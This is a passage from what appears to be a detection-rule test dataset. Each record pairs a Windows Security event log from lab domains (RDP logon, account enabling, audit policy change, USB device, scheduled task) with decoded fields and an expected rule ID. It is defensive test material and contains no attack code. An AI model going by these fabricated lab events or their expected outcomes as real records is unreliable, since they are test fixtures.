"{\"win\":{\"eventdata\":{\"subjectLogonId\":\"0x3e7\",\"restrictedAdminMode\":\"%%1843\",\"subjectDomainName\":\"EXCHANGETEST\",\"targetLinkedLogonId\":\"0x0\",\"impersonationLevel\":\"%%1833\",\"ipAddress\":\"::1\",\"authenticationPackageName\":\"Negotiate\",\"workstationName\":\"BANKDC\",\"targetLogonId\":\"0x4105aff\",\"logonProcessName\":\"User32\",\"logonGuid\":\"{64C35E00-1827-0FCE-2AE0-11E54FFE301F}\",\"targetUserName\":\"Administrator\",\"keyLength\":\"0\",\"elevatedToken\":\"%%1842\",\"subjectUserSid\":\"S-1-5-18\",\"processId\":\"0x464\",\"processName\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe\",\"ipPort\":\"0\",\"targetDomainName\":\"EXCHANGETEST\",\"targetUserSid\":\"S-1-5-21-887924094-598891991-956377308-500\",\"virtualAccount\":\"%%1843\",\"logonType\":\"10\",\"subjectUserName\":\"BANKDC$\"},\"system\":{\"eventID\":\"4624\",\"keywords\":\"0x8020000000000000\",\"providerGuid\":\"{54849625-5478-4994-A5BA-3E3B0328C30D}\",\"level\":\"0\",\"channel\":\"Security\",\"opcode\":\"0\",\"message\":\"\\\"An account was successfully logged on.\\r\\n\\r\\nSubject:\\r\\n\\tSecurity ID:\\t\\tS-1-5-18\\r\\n\\tAccount Name:\\t\\tBANKDC$\\r\\n\\tAccount Domain:\\t\\tEXCHANGETEST\\r\\n\\tLogon ID:\\t\\t0x3E7\\r\\n\\r\\nLogon Information:\\r\\n\\tLogon Type:\\t\\t10\\r\\n\\tRestricted Admin Mode:\\tNo\\r\\n\\tVirtual Account:\\t\\tNo\\r\\n\\tElevated Token:\\t\\tYes\\r\\n\\r\\nImpersonation Level:\\t\\tImpersonation\\r\\n\\r\\nNew Logon:\\r\\n\\tSecurity ID:\\t\\tS-1-5-21-887924094-598891991-956377308-500\\r\\n\\tAccount Name:\\t\\tAdministrator\\r\\n\\tAccount Domain:\\t\\tEXCHANGETEST\\r\\n\\tLogon ID:\\t\\t0x4105AFF\\r\\n\\tLinked Logon ID:\\t\\t0x0\\r\\n\\tNetwork Account Name:\\t-\\r\\n\\tNetwork Account Domain:\\t-\\r\\n\\tLogon GUID:\\t\\t{64C35E00-1827-0FCE-2AE0-11E54FFE301F}\\r\\n\\r\\nProcess Information:\\r\\n\\tProcess ID:\\t\\t0x464\\r\\n\\tProcess Name:\\t\\tC:\\\\Windows\\\\System32\\\\svchost.exe\\r\\n\\r\\nNetwork Information:\\r\\n\\tWorkstation Name:\\tBANKDC\\r\\n\\tSource Network Address:\\t::1\\r\\n\\tSource Port:\\t\\t0\\r\\n\\r\\nDetailed Authentication Information:\\r\\n\\tLogon Process:\\t\\tUser32 \\r\\n\\tAuthentication Package:\\tNegotiate\\r\\n\\tTransited Services:\\t-\\r\\n\\tPackage Name (NTLM only):\\t-\\r\\n\\tKey Length:\\t\\t0\\r\\n\\r\\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\\r\\n\\r\\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\\r\\n\\r\\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\\r\\n\\r\\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\\r\\n\\r\\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\\r\\n\\r\\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\\r\\n\\r\\nThe authentication information fields provide detailed information about this specific logon request.\\r\\n\\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\\r\\n\\t- Transited services indicate which intermediate services have participated in this logon request.\\r\\n\\t- Package name indicates which sub-protocol was used among the NTLM protocols.\\r\\n\\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\\\"\",\"version\":\"2\",\"systemTime\":\"2021-07-02T20:19:32.631853500Z\",\"eventRecordID\":\"4200219\",\"threadID\":\"720\",\"computer\":\"bankdc.ExchangeTest.com\",\"task\":\"12544\",\"processID\":\"556\",\"severityValue\":\"AUDIT_SUCCESS\",\"providerName\":\"Microsoft-Windows-Security-Auditing\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.authenticationPackageName": "Negotiate", "win.eventdata.elevatedToken": "%%1842", "win.eventdata.impersonationLevel": "%%1833", "win.eventdata.ipAddress": "::1", "win.eventdata.ipPort": "0", "win.eventdata.keyLength": "0", "win.eventdata.logonGuid": "{64C35E00-1827-0FCE-2AE0-11E54FFE301F}", "win.eventdata.logonProcessName": "User32", "win.eventdata.logonType": "10", "win.eventdata.processId": "0x464", "win.eventdata.processName": "C:\\\\Windows\\\\System32\\\\svchost.exe", "win.eventdata.restrictedAdminMode": "%%1843", "win.eventdata.subjectDomainName": "EXCHANGETEST", "win.eventdata.subjectLogonId": "0x3e7", "win.eventdata.subjectUserName": "BANKDC$", "win.eventdata.subjectUserSid": "S-1-5-18", "win.eventdata.targetDomainName": "EXCHANGETEST", "win.eventdata.targetLinkedLogonId": "0x0", "win.eventdata.targetLogonId": "0x4105aff", "win.eventdata.targetUserName": "Administrator", "win.eventdata.targetUserSid": "S-1-5-21-887924094-598891991-956377308-500", "win.eventdata.virtualAccount": "%%1843", "win.eventdata.workstationName": "BANKDC", "win.system.channel": "Security", "win.system.computer": "bankdc.ExchangeTest.com", "win.system.eventID": "4624", "win.system.eventRecordID": "4200219", "win.system.keywords": "0x8020000000000000", "win.system.level": "0", "win.system.opcode": "0", "win.system.processID": "556", "win.system.providerGuid": "{54849625-5478-4994-A5BA-3E3B0328C30D}", "win.system.providerName": "Microsoft-Windows-Security-Auditing", "win.system.severityValue": "AUDIT_SUCCESS", "win.system.systemTime": "2021-07-02T20:19:32.631853500Z", "win.system.task": "12544", "win.system.threadID": "720", "win.system.version": "2"}, "field_names": ["win.eventdata.authenticationPackageName", "win.eventdata.elevatedToken", "win.eventdata.impersonationLevel", "win.eventdata.ipAddress", "win.eventdata.ipPort", "win.eventdata.keyLength", "win.eventdata.logonGuid", "win.eventdata.logonProcessName", "win.eventdata.logonType", "win.eventdata.processId", "win.eventdata.processName", "win.eventdata.restrictedAdminMode", "win.eventdata.subjectDomainName", "win.eventdata.subjectLogonId", "win.eventdata.subjectUserName", "win.eventdata.subjectUserSid", "win.eventdata.targetDomainName", "win.eventdata.targetLinkedLogonId", "win.eventdata.targetLogonId", "win.eventdata.targetUserName", "win.eventdata.targetUserSid", "win.eventdata.virtualAccount", "win.eventdata.workstationName", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92656", "rule_matches_expected": false, "ini_file": "win_event_channel.ini", "section": "User logged using Remote Desktop Connection (RDP)"} +{"log": "{ \"win\": { \"eventdata\": { \"subjectLogonId\": \"0x1f6f29\", \"targetUserName\": \"toby\", \"subjectUserSid\": \"S-1-5-21-3002370232-1004552484-2337450515-1103\", \"subjectDomainName\": \"XRISBARNEY\", \"targetDomainName\": \"APT29W1\", \"targetSid\": \"S-1-5-21-184966080-802066075-2268707989-1002\", \"subjectUserName\": \"itadmin\" }, \"system\": { \"eventID\": \"4722\", \"keywords\": \"0x8020000000000000\", \"providerGuid\": \"{54849625-5478-4994-a5ba-3e3b0328c30d}\", \"level\": \"0\", \"channel\": \"Security\", \"opcode\": \"0\", \"message\": \"\\\"A user account was enabled.\\r\\n\\r\\nSubject:\\r\\n\\tSecurity ID:\\t\\tS-1-5-21-3002370232-1004552484-2337450515-1103\\r\\n\\tAccount Name:\\t\\titadmin\\r\\n\\tAccount Domain:\\t\\tXRISBARNEY\\r\\n\\tLogon ID:\\t\\t0x1F6F29\\r\\n\\r\\nTarget Account:\\r\\n\\tSecurity ID:\\t\\tS-1-5-21-184966080-802066075-2268707989-1002\\r\\n\\tAccount Name:\\t\\ttoby\\r\\n\\tAccount Domain:\\t\\tAPT29W1\\\"\", \"version\": \"0\", \"systemTime\": \"2021-11-08T18:09:47.4367951Z\", \"eventRecordID\": \"15217\", \"threadID\": \"2256\", \"computer\": \"apt29w1.xrisbarney.local\", \"task\": \"13824\", \"processID\": \"620\", \"severityValue\": \"AUDIT_SUCCESS\", \"providerName\": \"Microsoft-Windows-Security-Auditing\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.subjectDomainName": "XRISBARNEY", "win.eventdata.subjectLogonId": "0x1f6f29", "win.eventdata.subjectUserName": "itadmin", "win.eventdata.subjectUserSid": "S-1-5-21-3002370232-1004552484-2337450515-1103", "win.eventdata.targetDomainName": "APT29W1", "win.eventdata.targetSid": "S-1-5-21-184966080-802066075-2268707989-1002", "win.eventdata.targetUserName": "toby", "win.system.channel": "Security", "win.system.computer": "apt29w1.xrisbarney.local", "win.system.eventID": "4722", "win.system.eventRecordID": "15217", "win.system.keywords": "0x8020000000000000", "win.system.level": "0", "win.system.opcode": "0", "win.system.processID": "620", "win.system.providerGuid": "{54849625-5478-4994-a5ba-3e3b0328c30d}", "win.system.providerName": "Microsoft-Windows-Security-Auditing", "win.system.severityValue": "AUDIT_SUCCESS", "win.system.systemTime": "2021-11-08T18:09:47.4367951Z", "win.system.task": "13824", "win.system.threadID": "2256", "win.system.version": "0"}, "field_names": ["win.eventdata.subjectDomainName", "win.eventdata.subjectLogonId", "win.eventdata.subjectUserName", "win.eventdata.subjectUserSid", "win.eventdata.targetDomainName", "win.eventdata.targetSid", "win.eventdata.targetUserName", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "60109", "rule_matches_expected": false, "ini_file": "win_security.ini", "section": "User account enabled or created"} +{"log": "{ \"win\": { \"eventdata\": { \"subjectLogonId\": \"0x1f6f29\", \"scriptPath\": \"%%1793\", \"passwordLastSet\": \"11/8/2021 10:09:47 AM\", \"homeDirectory\": \"%%1793\", \"subjectDomainName\": \"XRISBARNEY\", \"displayName\": \"%%1793\", \"accountExpires\": \"%%1794\", \"homePath\": \"%%1793\", \"samAccountName\": \"toby\", \"targetUserName\": \"toby\", \"subjectUserSid\": \"S-1-5-21-3002370232-1004552484-2337450515-1103\", \"primaryGroupId\": \"513\", \"logonHours\": \"%%1797\", \"targetDomainName\": \"APT29W1\", \"profilePath\": \"%%1793\", \"userWorkstations\": \"%%1793\", \"oldUacValue\": \"0x15\", \"newUacValue\": \"0x10\", \"targetSid\": \"S-1-5-21-184966080-802066075-2268707989-1002\", \"userAccountControl\": \" %%2048 %%2050\", \"subjectUserName\": \"itadmin\" }, \"system\": { \"eventID\": \"4738\", \"keywords\": \"0x8020000000000000\", \"providerGuid\": \"{54849625-5478-4994-a5ba-3e3b0328c30d}\", \"level\": \"0\", \"channel\": \"Security\", \"opcode\": \"0\", \"message\": \"\\\"A user account was changed.\\r\\n\\r\\nSubject:\\r\\n\\tSecurity ID:\\t\\tS-1-5-21-3002370232-1004552484-2337450515-1103\\r\\n\\tAccount Name:\\t\\titadmin\\r\\n\\tAccount Domain:\\t\\tXRISBARNEY\\r\\n\\tLogon ID:\\t\\t0x1F6F29\\r\\n\\r\\nTarget Account:\\r\\n\\tSecurity ID:\\t\\tS-1-5-21-184966080-802066075-2268707989-1002\\r\\n\\tAccount Name:\\t\\ttoby\\r\\n\\tAccount Domain:\\t\\tAPT29W1\\r\\n\\r\\nChanged Attributes:\\r\\n\\tSAM Account Name:\\ttoby\\r\\n\\tDisplay Name:\\t\\t\\r\\n\\tUser Principal Name:\\t-\\r\\n\\tHome Directory:\\t\\t\\r\\n\\tHome Drive:\\t\\t\\r\\n\\tScript Path:\\t\\t\\r\\n\\tProfile Path:\\t\\t\\r\\n\\tUser Workstations:\\t\\r\\n\\tPassword Last Set:\\t11/8/2021 10:09:47 AM\\r\\n\\tAccount Expires:\\t\\t\\r\\n\\tPrimary Group ID:\\t513\\r\\n\\tAllowedToDelegateTo:\\t-\\r\\n\\tOld UAC Value:\\t\\t0x15\\r\\n\\tNew UAC Value:\\t\\t0x10\\r\\n\\tUser Account Control:\\t\\r\\n\\t\\tAccount Enabled\\r\\n\\t\\t'Password Not Required' - Disabled\\r\\n\\tUser Parameters:\\t-\\r\\n\\tSID History:\\t\\t-\\r\\n\\tLogon Hours:\\t\\tAll\\r\\n\\r\\nAdditional Information:\\r\\n\\tPrivileges:\\t\\t-\\\"\", \"version\": \"0\", \"systemTime\": \"2021-11-08T18:09:47.4369635Z\", \"eventRecordID\": \"15218\", \"threadID\": \"2256\", \"computer\": \"apt29w1.xrisbarney.local\", \"task\": \"13824\", \"processID\": \"620\", \"severityValue\": \"AUDIT_SUCCESS\", \"providerName\": \"Microsoft-Windows-Security-Auditing\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.accountExpires": "%%1794", "win.eventdata.displayName": "%%1793", "win.eventdata.homeDirectory": "%%1793", "win.eventdata.homePath": "%%1793", "win.eventdata.logonHours": "%%1797", "win.eventdata.newUacValue": "0x10", "win.eventdata.oldUacValue": "0x15", "win.eventdata.passwordLastSet": "11/8/2021 10:09:47 AM", "win.eventdata.primaryGroupId": "513", "win.eventdata.profilePath": "%%1793", "win.eventdata.samAccountName": "toby", "win.eventdata.scriptPath": "%%1793", "win.eventdata.subjectDomainName": "XRISBARNEY", "win.eventdata.subjectLogonId": "0x1f6f29", "win.eventdata.subjectUserName": "itadmin", "win.eventdata.subjectUserSid": "S-1-5-21-3002370232-1004552484-2337450515-1103", "win.eventdata.targetDomainName": "APT29W1", "win.eventdata.targetSid": "S-1-5-21-184966080-802066075-2268707989-1002", "win.eventdata.targetUserName": "toby", "win.eventdata.userAccountControl": " %%2048 %%2050", "win.eventdata.userWorkstations": "%%1793", "win.system.channel": "Security", "win.system.computer": "apt29w1.xrisbarney.local", "win.system.eventID": "4738", "win.system.eventRecordID": "15218", "win.system.keywords": "0x8020000000000000", "win.system.level": "0", "win.system.opcode": "0", "win.system.processID": "620", "win.system.providerGuid": "{54849625-5478-4994-a5ba-3e3b0328c30d}", "win.system.providerName": "Microsoft-Windows-Security-Auditing", "win.system.severityValue": "AUDIT_SUCCESS", "win.system.systemTime": "2021-11-08T18:09:47.4369635Z", "win.system.task": "13824", "win.system.threadID": "2256", "win.system.version": "0"}, "field_names": ["win.eventdata.accountExpires", "win.eventdata.displayName", "win.eventdata.homeDirectory", "win.eventdata.homePath", "win.eventdata.logonHours", "win.eventdata.newUacValue", "win.eventdata.oldUacValue", "win.eventdata.passwordLastSet", "win.eventdata.primaryGroupId", "win.eventdata.profilePath", "win.eventdata.samAccountName", "win.eventdata.scriptPath", "win.eventdata.subjectDomainName", "win.eventdata.subjectLogonId", "win.eventdata.subjectUserName", "win.eventdata.subjectUserSid", "win.eventdata.targetDomainName", "win.eventdata.targetSid", "win.eventdata.targetUserName", "win.eventdata.userAccountControl", "win.eventdata.userWorkstations", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "60110", "rule_matches_expected": false, "ini_file": "win_security.ini", "section": "User account changed"} +{"log": "{ \"win\": { \"eventdata\": { \"subjectLogonId\": \"0x3e7\", \"subjectUserSid\": \"S-1-5-18\", \"subjectDomainName\": \"XRISBARNEY\", \"auditPolicyChanges\": \"Failure added\", \"subcategoryId\": \"%%14339\", \"auditPolicyChangesId\": \"%%8451\", \"category\": \"Account Logon\", \"subcategory\": \"Kerberos Authentication Service\", \"categoryId\": \"%%8280\", \"subjectUserName\": \"HOTELDC$\", \"subcategoryGuid\": \"{0cce9242-69ae-11d9-bed3-505054503030}\" }, \"system\": { \"eventID\": \"4719\", \"keywords\": \"0x8020000000000000\", \"providerGuid\": \"{54849625-5478-4994-a5ba-3e3b0328c30d}\", \"level\": \"0\", \"channel\": \"Security\", \"opcode\": \"0\", \"message\": \"\\\"System audit policy was changed.\\r\\n\\r\\nSubject:\\r\\n\\tSecurity ID:\\t\\tS-1-5-18\\r\\n\\tAccount Name:\\t\\tHOTELDC$\\r\\n\\tAccount Domain:\\t\\tXRISBARNEY\\r\\n\\tLogon ID:\\t\\t0x3E7\\r\\n\\r\\nAudit Policy Change:\\r\\n\\tCategory:\\t\\tAccount Logon\\r\\n\\tSubcategory:\\t\\tKerberos Authentication Service\\r\\n\\tSubcategory GUID:\\t{0cce9242-69ae-11d9-bed3-505054503030}\\r\\n\\tChanges:\\t\\tFailure added\\\"\", \"version\": \"0\", \"systemTime\": \"2021-11-11T17:40:12.383182200Z\", \"eventRecordID\": \"144520\", \"threadID\": \"608\", \"computer\": \"hoteldc.xrisbarney.local\", \"task\": \"13568\", \"processID\": \"560\", \"severityValue\": \"AUDIT_SUCCESS\", \"providerName\": \"Microsoft-Windows-Security-Auditing\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.auditPolicyChanges": "Failure added", "win.eventdata.auditPolicyChangesId": "%%8451", "win.eventdata.category": "Account Logon", "win.eventdata.categoryId": "%%8280", "win.eventdata.subcategory": "Kerberos Authentication Service", "win.eventdata.subcategoryGuid": "{0cce9242-69ae-11d9-bed3-505054503030}", "win.eventdata.subcategoryId": "%%14339", "win.eventdata.subjectDomainName": "XRISBARNEY", "win.eventdata.subjectLogonId": "0x3e7", "win.eventdata.subjectUserName": "HOTELDC$", "win.eventdata.subjectUserSid": "S-1-5-18", "win.system.channel": "Security", "win.system.computer": "hoteldc.xrisbarney.local", "win.system.eventID": "4719", "win.system.eventRecordID": "144520", "win.system.keywords": "0x8020000000000000", "win.system.level": "0", "win.system.opcode": "0", "win.system.processID": "560", "win.system.providerGuid": "{54849625-5478-4994-a5ba-3e3b0328c30d}", "win.system.providerName": "Microsoft-Windows-Security-Auditing", "win.system.severityValue": "AUDIT_SUCCESS", "win.system.systemTime": "2021-11-11T17:40:12.383182200Z", "win.system.task": "13568", "win.system.threadID": "608", "win.system.version": "0"}, "field_names": ["win.eventdata.auditPolicyChanges", "win.eventdata.auditPolicyChangesId", "win.eventdata.category", "win.eventdata.categoryId", "win.eventdata.subcategory", "win.eventdata.subcategoryGuid", "win.eventdata.subcategoryId", "win.eventdata.subjectDomainName", "win.eventdata.subjectLogonId", "win.eventdata.subjectUserName", "win.eventdata.subjectUserSid", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "1002", "level": "2", "expected_decoder": "json", "expected_rule": "60112", "rule_matches_expected": false, "ini_file": "win_security.ini", "section": "Windows Audit Policy changed"} +{"log": "{ \"win\": { \"eventdata\": { \"subjectLogonId\": \"0x1f6f29\", \"targetUserName\": \"None\", \"memberSid\": \"S-1-5-21-184966080-802066075-2268707989-1002\", \"subjectUserSid\": \"S-1-5-21-3002370232-1004552484-2337450515-1103\", \"subjectDomainName\": \"XRISBARNEY\", \"targetDomainName\": \"APT29W1\", \"targetSid\": \"S-1-5-21-184966080-802066075-2268707989-513\", \"subjectUserName\": \"itadmin\" }, \"system\": { \"eventID\": \"4728\", \"keywords\": \"0x8020000000000000\", \"providerGuid\": \"{54849625-5478-4994-a5ba-3e3b0328c30d}\", \"level\": \"0\", \"channel\": \"Security\", \"opcode\": \"0\", \"message\": \"\\\"A member was added to a security-enabled global group.\\r\\n\\r\\nSubject:\\r\\n\\tSecurity ID:\\t\\tS-1-5-21-3002370232-1004552484-2337450515-1103\\r\\n\\tAccount Name:\\t\\titadmin\\r\\n\\tAccount Domain:\\t\\tXRISBARNEY\\r\\n\\tLogon ID:\\t\\t0x1F6F29\\r\\n\\r\\nMember:\\r\\n\\tSecurity ID:\\t\\tS-1-5-21-184966080-802066075-2268707989-1002\\r\\n\\tAccount Name:\\t\\t-\\r\\n\\r\\nGroup:\\r\\n\\tSecurity ID:\\t\\tS-1-5-21-184966080-802066075-2268707989-513\\r\\n\\tGroup Name:\\t\\tNone\\r\\n\\tGroup Domain:\\t\\tAPT29W1\\r\\n\\r\\nAdditional Information:\\r\\n\\tPrivileges:\\t\\t-\\\"\", \"version\": \"0\", \"systemTime\": \"2021-11-08T18:09:47.3872627Z\", \"eventRecordID\": \"15215\", \"threadID\": \"2256\", \"computer\": \"apt29w1.xrisbarney.local\", \"task\": \"13826\", \"processID\": \"620\", \"severityValue\": \"AUDIT_SUCCESS\", \"providerName\": \"Microsoft-Windows-Security-Auditing\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.memberSid": "S-1-5-21-184966080-802066075-2268707989-1002", "win.eventdata.subjectDomainName": "XRISBARNEY", "win.eventdata.subjectLogonId": "0x1f6f29", "win.eventdata.subjectUserName": "itadmin", "win.eventdata.subjectUserSid": "S-1-5-21-3002370232-1004552484-2337450515-1103", "win.eventdata.targetDomainName": "APT29W1", "win.eventdata.targetSid": "S-1-5-21-184966080-802066075-2268707989-513", "win.eventdata.targetUserName": "None", "win.system.channel": "Security", "win.system.computer": "apt29w1.xrisbarney.local", "win.system.eventID": "4728", "win.system.eventRecordID": "15215", "win.system.keywords": "0x8020000000000000", "win.system.level": "0", "win.system.opcode": "0", "win.system.processID": "620", "win.system.providerGuid": "{54849625-5478-4994-a5ba-3e3b0328c30d}", "win.system.providerName": "Microsoft-Windows-Security-Auditing", "win.system.severityValue": "AUDIT_SUCCESS", "win.system.systemTime": "2021-11-08T18:09:47.3872627Z", "win.system.task": "13826", "win.system.threadID": "2256", "win.system.version": "0"}, "field_names": ["win.eventdata.memberSid", "win.eventdata.subjectDomainName", "win.eventdata.subjectLogonId", "win.eventdata.subjectUserName", "win.eventdata.subjectUserSid", "win.eventdata.targetDomainName", "win.eventdata.targetSid", "win.eventdata.targetUserName", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "60160", "rule_matches_expected": false, "ini_file": "win_security.ini", "section": "Domain Users Group Changed"} +{"log": "{ \"win\": { \"eventdata\": { \"subjectLogonId\": \"0x3e7\", \"compatibleIds\": \" USB\\\\\\\\Class_06&SubClass_01&Prot_01 USB\\\\\\\\Class_06&SubClass_01 USB\\\\\\\\Class_06\", \"classId\": \"{eec5ad98-8080-425f-922a-dabf3de3f69a}\", \"subjectUserSid\": \"S-1-5-18\", \"deviceDescription\": \"Apple iPhone\", \"vendorIds\": \" USB\\\\\\\\VID_05AC&PID_12A8&REV_1003&MI_00 USB\\\\\\\\VID_05AC&PID_12A8&MI_00\", \"subjectDomainName\": \"WORKGROUP\", \"locationInformation\": \" 0000.0014.0000.001.000.000.000.000.000\", \"className\": \"WPD\", \"deviceId\": \"USB\\\\\\\\VID_05AC&PID_12A8&MI_00\\\\\\\\6&161d18cc&0&0000\", \"subjectUserName\": \"CYBERWARRIOR$\" }, \"system\": { \"eventID\": \"6416\", \"keywords\": \"0x8020000000000000\", \"providerGuid\": \"{54849625-5478-4994-a5ba-3e3b0328c30d}\", \"level\": \"0\", \"channel\": \"Security\", \"opcode\": \"0\", \"message\": \"\\\"A new external device was recognized by the system.\\r\\n\\r\\nSubject:\\r\\n\\tSecurity ID:\\t\\tS-1-5-18\\r\\n\\tAccount Name:\\t\\tCYBERWARRIOR$\\r\\n\\tAccount Domain:\\t\\tWORKGROUP\\r\\n\\tLogon ID:\\t\\t0x3E7\\r\\n\\r\\nDevice ID:\\tUSB\\\\VID_05AC&PID_12A8&MI_00\\\\6&161d18cc&0&0000\\r\\n\\r\\nDevice Name:\\tApple iPhone\\r\\n\\r\\nClass ID:\\t\\t{eec5ad98-8080-425f-922a-dabf3de3f69a}\\r\\n\\r\\nClass Name:\\tWPD\\r\\n\\r\\nVendor IDs:\\t\\r\\n\\t\\tUSB\\\\VID_05AC&PID_12A8&REV_1003&MI_00\\r\\n\\t\\tUSB\\\\VID_05AC&PID_12A8&MI_00\\r\\n\\t\\t\\r\\n\\t\\t\\r\\n\\r\\nCompatible IDs:\\t\\r\\n\\t\\tUSB\\\\Class_06&SubClass_01&Prot_01\\r\\n\\t\\tUSB\\\\Class_06&SubClass_01\\r\\n\\t\\tUSB\\\\Class_06\\r\\n\\t\\t\\r\\n\\t\\t\\r\\n\\r\\nLocation Information:\\t\\r\\n\\t\\t0000.0014.0000.001.000.000.000.000.000\\r\\n\\t\\t\\\"\", \"version\": \"1\", \"systemTime\": \"2021-11-11T16:25:05.2558280Z\", \"eventRecordID\": \"27135\", \"threadID\": \"23840\", \"computer\": \"cyberwarrior\", \"task\": \"13316\", \"processID\": \"4\", \"severityValue\": \"AUDIT_SUCCESS\", \"providerName\": \"Microsoft-Windows-Security-Auditing\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.classId": "{eec5ad98-8080-425f-922a-dabf3de3f69a}", "win.eventdata.className": "WPD", "win.eventdata.compatibleIds": " USB\\\\Class_06&SubClass_01&Prot_01 USB\\\\Class_06&SubClass_01 USB\\\\Class_06", "win.eventdata.deviceDescription": "Apple iPhone", "win.eventdata.deviceId": "USB\\\\VID_05AC&PID_12A8&MI_00\\\\6&161d18cc&0&0000", "win.eventdata.locationInformation": " 0000.0014.0000.001.000.000.000.000.000", "win.eventdata.subjectDomainName": "WORKGROUP", "win.eventdata.subjectLogonId": "0x3e7", "win.eventdata.subjectUserName": "CYBERWARRIOR$", "win.eventdata.subjectUserSid": "S-1-5-18", "win.eventdata.vendorIds": " USB\\\\VID_05AC&PID_12A8&REV_1003&MI_00 USB\\\\VID_05AC&PID_12A8&MI_00", "win.system.channel": "Security", "win.system.computer": "cyberwarrior", "win.system.eventID": "6416", "win.system.eventRecordID": "27135", "win.system.keywords": "0x8020000000000000", "win.system.level": "0", "win.system.opcode": "0", "win.system.processID": "4", "win.system.providerGuid": "{54849625-5478-4994-a5ba-3e3b0328c30d}", "win.system.providerName": "Microsoft-Windows-Security-Auditing", "win.system.severityValue": "AUDIT_SUCCESS", "win.system.systemTime": "2021-11-11T16:25:05.2558280Z", "win.system.task": "13316", "win.system.threadID": "23840", "win.system.version": "1"}, "field_names": ["win.eventdata.classId", "win.eventdata.className", "win.eventdata.compatibleIds", "win.eventdata.deviceDescription", "win.eventdata.deviceId", "win.eventdata.locationInformation", "win.eventdata.subjectDomainName", "win.eventdata.subjectLogonId", "win.eventdata.subjectUserName", "win.eventdata.subjectUserSid", "win.eventdata.vendorIds", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "60227", "rule_matches_expected": false, "ini_file": "win_security.ini", "section": "A new external device was recognized by the system"} +{"log": "{ \"win\": { \"eventdata\": { \"subjectLogonId\": \"0x6a874\", \"subjectUserSid\": \"S-1-5-21-3002370232-1004552484-2337450515-500\", \"taskContent\": \"<\", \"subjectDomainName\": \"XRISBARNEY\", \"taskName\": \"\\\\\\\\sdfg\", \"subjectUserName\": \"Administrator\" }, \"system\": { \"eventID\": \"4698\", \"keywords\": \"0x8020000000000000\", \"providerGuid\": \"{54849625-5478-4994-a5ba-3e3b0328c30d}\", \"level\": \"0\", \"channel\": \"Security\", \"opcode\": \"0\", \"message\": \"\\\"A scheduled task was created.\", \"version\": \"0\", \"systemTime\": \"2021-11-12T11:40:29.919882400Z\", \"eventRecordID\": \"144538\", \"threadID\": \"1892\", \"computer\": \"hoteldc.xrisbarney.local\", \"task\": \"12804\", \"processID\": \"560\", \"severityValue\": \"AUDIT_SUCCESS\", \"providerName\": \"Microsoft-Windows-Security-Auditing\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.subjectDomainName": "XRISBARNEY", "win.eventdata.subjectLogonId": "0x6a874", "win.eventdata.subjectUserName": "Administrator", "win.eventdata.subjectUserSid": "S-1-5-21-3002370232-1004552484-2337450515-500", "win.eventdata.taskContent": "<", "win.eventdata.taskName": "\\\\sdfg", "win.system.channel": "Security", "win.system.computer": "hoteldc.xrisbarney.local", "win.system.eventID": "4698", "win.system.eventRecordID": "144538", "win.system.keywords": "0x8020000000000000", "win.system.level": "0", "win.system.message": "\"A scheduled task was created.", "win.system.opcode": "0", "win.system.processID": "560", "win.system.providerGuid": "{54849625-5478-4994-a5ba-3e3b0328c30d}", "win.system.providerName": "Microsoft-Windows-Security-Auditing", "win.system.severityValue": "AUDIT_SUCCESS", "win.system.systemTime": "2021-11-12T11:40:29.919882400Z", "win.system.task": "12804", "win.system.threadID": "1892", "win.system.version": "0"}, "field_names": ["win.eventdata.subjectDomainName", "win.eventdata.subjectLogonId", "win.eventdata.subjectUserName", "win.eventdata.subjectUserSid", "win.eventdata.taskContent", "win.eventdata.taskName", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", 